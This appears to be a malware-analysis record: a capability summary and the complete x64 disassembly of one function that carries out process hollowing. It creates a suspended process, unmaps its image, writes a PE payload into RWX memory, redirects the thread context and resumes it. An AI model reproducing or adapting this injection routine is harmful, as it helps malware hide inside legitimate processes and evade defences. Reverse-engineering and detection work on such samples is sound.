Function at 0x402f80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push rbp
sub rsp, 0x120
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rdx
mov qword [rbp + 0xc0], r8
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
movzx eax, word [rax]
cmp ax, 0x5a4d
jne 0x403332
mov rax, qword [rbp + 0x90]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp + 0xc0]
add rax, rdx
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov eax, dword [rax]
cmp eax, 0x4550
jne 0x403332
lea rax, [rbp - 0x20]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x50]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rcx, qword [rbp + 0xb8]
lea rax, [rbp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x403332
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x4d0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov dword [rax + 0x30], 0x10000b
mov rax, qword [rbp + 0x58]
mov rdx, qword [rbp + 0x80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
test eax, eax
setne al
test al, al
je 0x403332
mov rax, qword [rbp + 0x80]
mov rax, qword [rax + 0x90]
add rax, 8
mov rcx, rax
mov rax, qword [rbp + 0x50]
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
mov rax, qword [rbp + 0x88]
mov rdx, qword [rax + 0x30]
mov rax, qword [rbp - 0x28]
cmp rdx, rax
jne 0x40316a
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x78], rax
mov rax, qword [rbp - 0x28]
mov rdx, rax
mov rcx, qword [rbp + 0x50]
mov rax, qword [rbp + 0x78]
call rax
mov rax, qword [rbp + 0x88]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp + 0x88]
mov rax, qword [rax + 0x30]
mov rdx, rax
mov rax, qword [rbp + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x70], rax
cmp qword [rbp + 0x70], 0
je 0x403332
mov rax, qword [rbp + 0x88]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rax, qword [rbp + 0x50]
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0x70]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x9c], 0
mov rax, qword [rbp + 0x88]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x9c], eax
jge 0x4032a8
mov rax, qword [rbp + 0x90]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp + 0xc0]
lea rcx, [rax + rdx]
mov eax, dword [rbp + 0x9c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x108
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x68]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xc0]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0x68]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x70]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x50]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
add dword [rbp + 0x9c], 1
jmp 0x4031f5
mov rax, qword [rbp + 0x88]
lea rdx, [rax + 0x30]
mov rax, qword [rbp + 0x80]
mov rax, qword [rax + 0x90]
add rax, 8
mov rcx, rax
mov rax, qword [rbp + 0x50]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp + 0x88]
mov eax, dword [rax + 0x28]
mov edx, eax
mov rax, qword [rbp + 0x70]
add rdx, rax
mov rax, qword [rbp + 0x80]
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x58]
mov rdx, qword [rbp + 0x80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp + 0xc0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
nop
add rsp, 0x120
pop rbp
ret